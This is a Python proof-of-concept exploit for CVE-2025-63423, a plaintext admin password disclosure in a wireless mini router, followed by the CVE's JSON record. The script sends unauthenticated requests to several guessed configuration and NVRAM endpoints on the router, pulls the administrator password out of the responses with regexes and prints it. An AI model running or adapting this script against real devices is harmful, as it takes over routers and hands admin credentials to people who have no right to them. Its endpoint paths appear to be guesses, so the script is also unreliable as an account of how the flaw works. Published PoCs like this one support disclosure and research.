CVE-2025-63423

# CVE-2025-63423 PoC - Italy Wireless Mini Router Password Disclosure # This PoC demonstrates the admin password storage vulnerability import requests import re TARGET_IP = "192.168.1.1" # Router IP address TARGET_URL = f"http://{TARGET_IP}" def exploit_cve_2025_63423(): """ Exploit for CVE-2025-63423: Admin password stored in plaintext This vulnerability allows unauthenticated retrieval of admin credentials """ try: # Method 1: Try to access configuration endpoint that exposes password config_endpoints = [ "/cgi-bin/ExportConfig.sh", "/cgi-bin/getcfg.cgi", "/admin/conf/admin.conf", "/cgi-bin/backup.cgi" ] for endpoint in config_endpoints: try: response = requests.get(TARGET_URL + endpoint, timeout=5) if response.status_code == 200: # Search for password patterns in response password_pattern = re.search(r'password[=:]\s*["\']?([^"\'\s]+)', response.text, re.I) if password_pattern: print(f"[+] Found password at {endpoint}: {password_pattern.group(1)}") return password_pattern.group(1) except requests.exceptions.RequestException: continue # Method 2: Try NVRAM read API if available nvram_url = f"{TARGET_URL}/cgi-bin/nvram.cgi?action=list" nvram_response = requests.get(nvram_url, timeout=5) if nvram_response.status_code == 200: password_match = re.search(r'admin_pass=([^&\s]+)', nvram_response.text) if password_match: print(f"[+] Found admin password in NVRAM: {password_match.group(1)}") return password_match.group(1) print("[-] No password found or device not vulnerable") return None except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("CVE-2025-63423 PoC - Italy Wireless Mini Router Password Disclosure") print("=" * 70) admin_password = exploit_cve_2025_63423() if admin_password: print(f"\n[!] SUCCESS: Admin password extracted: {admin_password}") else: print("\n[-] Failed to extract password")

{"cve": {"id": "CVE-2025-63423", "sourceIdentifier": "[email protected]", "published": "2025-10-30T20:15:39.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Each Italy Wireless Mini Router WIRELESS-N 300M v28K.MiniRouter.20190211 was discovered to store the Administrator password."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/5ulfur/security-advisories/tree/main/CVE-2025-63423", "source": "[email protected]"}, {"url": "https://imgur.com/a/X9DNOBj", "source": "[email protected]"}]}}